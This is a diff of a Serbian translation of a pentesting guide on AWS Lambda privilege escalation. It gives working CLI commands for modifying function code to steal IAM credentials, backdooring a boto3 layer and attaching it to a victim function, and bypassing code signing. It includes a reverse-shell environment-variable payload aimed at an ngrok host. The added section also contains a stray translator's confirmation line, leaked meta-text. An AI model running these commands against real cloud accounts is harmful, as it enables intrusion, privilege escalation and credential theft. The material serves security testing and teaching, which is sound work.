@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu korišćenjem dozvole za modifikaciju koda i njegovo pokretanje.
+**Potencijalni uticaj:** Direktni privesc na lambda servisnu ulogu korišćenjem dodeljivanja dozvole za izmenu koda i njegovo pokretanje.

 ### `lambda:AddLayerVersionPermission`

-Napadač sa ovom dozvolom može **dati sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Mogao bi pristupiti sloju i tražiti ranjivosti ili osetljive informacije.
+Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Mogao bi pristupiti layer-u i pretražiti ranjivosti ili osetljive informacije
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**Potencijalni uticaj:** Potencijalni pristup osetljivim informacijama.
+**Potencijalni uticaj:** Mogući pristup osetljivim informacijama.

 ### `lambda:UpdateFunctionCode`

-Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu imaju potencijal da **modifikuju kod postojeće Lambda funkcije koja je povezana sa IAM rolom.**\
-Napadač može **modifikovati kod lambda funkcije da bi eksfiltrirao IAM akreditive**.
+Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu mogu **izmeniti kod postojeće Lambda funkcije koja je povezana sa IAM ulogom.**\
+Napadač može **izmeniti kod Lambda funkcije kako bi exfiltrate IAM credentials**.

-Iako napadač možda nema direktnu sposobnost da pozove funkciju, ako je Lambda funkcija već postojala i operativna, verovatno će biti pokrenuta kroz postojeće radne tokove ili događaje, čime se indirektno olakšava izvršenje modifikovanog koda.
+Iako napadač možda nema direktnu mogućnost da pozove funkciju, ako je Lambda funkcija već postojeća i operativna, verovatno će biti pokrenuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt

 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.
+**Potencijalni uticaj:** Direct privesc na lambda service role koja se koristi.

 ### `lambda:UpdateFunctionConfiguration`

-#### RCE putem env varijabli
+#### RCE via env variables

-Sa ovim dozvolama moguće je dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande:
+Sa ovim dozvolama moguće je dodati varijable okruženja koje će naterati Lambda da izvrši proizvoljan kod. Na primer, u pythonu moguće je zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da naterate python proces da izvrši proizvoljne komande:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Za druge skriptne jezike postoje druge promenljive okruženja koje možete koristiti. Za više informacija proverite podsekcije skriptnih jezika u:
+Za druge skriptne jezike postoje druge env variables koje možete koristiti. Za više informacija pogledajte pododeljke skriptnih jezika u:

 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
 {{#endref}}

-#### RCE putem Lambda Layers
+#### RCE via Lambda Layers

-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **koda** u vašu lambda funkciju, ali **da se čuva odvojeno**, tako da kod funkcije može ostati mali i **several functions can share code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **code** u vaš lamdba function, ali **storing it separately**, tako da function code može ostati mali i **several functions can share code**.

-Unutar lambda možete proveriti putanje sa kojih se python kod učitava pomoću funkcije kao što je sledeća:
+Unutar lambda možete proveriti putanje sa kojih se python code učitava pomoću funkcije kao u sledećem primeru:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-Ovo su mesta:
+Ovo su lokacije:

 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -202,57 +202,116 @@ Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).

 #### Eksploatacija

-Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda funkcije, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** u njega.
+Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi layer** u lambda funkciju. Da biste pokrenuli proizvoljan kod, taj layer mora da sadrži neku **biblioteku koju će lambda importovati.** Ako možete da pročitate kod lambda funkcije, ovo lako možete pronaći; takođe imajte u vidu da je moguće da lambda **već koristi layer** i da biste mogli **preuzeti** taj layer i **dodati svoj kod** u njega.

-Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:
+Na primer, pretpostavimo da lambda koristi biblioteku boto3 — to će kreirati lokalni layer sa poslednjom verzijom biblioteke:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (funkciju za eksfiltraciju kredencijala ili dobijanje reverzibilne ljuske, na primer).
+Možete otvoriti `./lambda_layer/boto3/__init__.py` i **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).

-Zatim, zipujte taj `./lambda_layer` direktorijum i **otpremite novi lambda sloj** na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\
-Imajte na umu da treba da kreirate python folder i stavite biblioteke unutra da biste prepisali /opt/python/boto3. Takođe, sloj mora biti **kompatibilan sa verzijom pythona** koja se koristi u lambdi i ako ga otpremite na svoj nalog, mora biti u **istoј regiji:**
+Zatim zip-ujte taj direktorijum `./lambda_layer` i **upload the new lambda layer** na svoj account (ili na account žrtve, ali možda nemate permissions za to).\
+Napomena: potrebno je kreirati python folder i staviti biblioteke tamo da override-ujete /opt/python/boto3. Takođe, layer mora biti **compatible with the python version** koju koristi lambda i, ako ga upload-ujete na svoj account, mora biti u **the same region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Sada, učinite učitanu lambda sloj **pristupačnim za bilo koji nalog**:
+Sada učinite uploadovani lambda layer **dostupnim za bilo koji nalog**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-I priključite lambda sloj na funkciju lambda žrtve:
+I zakačite lambda layer na ciljnu lambda funkciju:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda.
+Sledeći korak bi bio da ili sami **pozovemo funkciju** ako možemo ili da sačekamo dok **ne bude pozvana** normalnim putem — što je bezbednija metoda.

-**Sofisticiraniji način za iskorišćavanje ove ranjivosti** može se naći u:
+A **diskretniji način da se iskoristi ova ranjivost** može se naći u:

 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}

-**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi.
+**Potencijalni uticaj:** Direktan privesc na korišćenu lambda service role.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

-Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete!
+Možda sa tim permisijama možeš da kreiraš funkciju i izvršiš je pozivom URL-a... ali nisam uspeo da nađem način da to testiram, pa javi ako ti uspeš!

 ### Lambda MitM

-Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete da exfiltrirate informacije koje drugi korisnici šalju, proverite to u:
+Neke lambda funkcije će **primati osetljive informacije od korisnika u parametrima.** Ako dobiješ RCE u jednoj od njih, možeš exfiltrate informacije koje drugi korisnici šalju toj funkciji, pogledaj u:

 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}

-## Reference
+## References

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

 {{#include ../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Zaobilaženje Lambda Code Signing
+
+Ako Lambda funkcija zahteva code signing, napadač koji može da ili ukloni Code Signing Config (CSC) ili ga spusti na `WARN` može da deploy-uje unsigned code u funkciju. Ovo zaobilazi zaštitu integriteta bez menjanja IAM role funkcije ili triggera.
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Napomene:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
+
+Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
+
+Prepare a small payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+Put A) Uklonite CSC, zatim ažurirajte kod:
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Put B) Smanjiti na Warn i ažurirati code (ako brisanje nije dozvoljeno):
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Potvrđujem: prevešću relevantan engleski tekst na srpski, zadržavajući tačno istu Markdown/HTML sintaksu i ne prevodeći kod, nazive tehnika, cloud/platforme, linkove, putanje i oznake (npr. {#tabs}, {#ref} itd.). Neću dodavati ništa osim prevedenog sadržaja i sačuvaću ispravan Unicode.
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+Potencijalni uticaj: Mogućnost ubacivanja i pokretanja proizvoljnog unsigned koda u funkciju koja je trebalo da zahteva signed deployments, što može dovesti do izvršenja koda sa privilegijama role funkcije.
+
+Čišćenje:
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+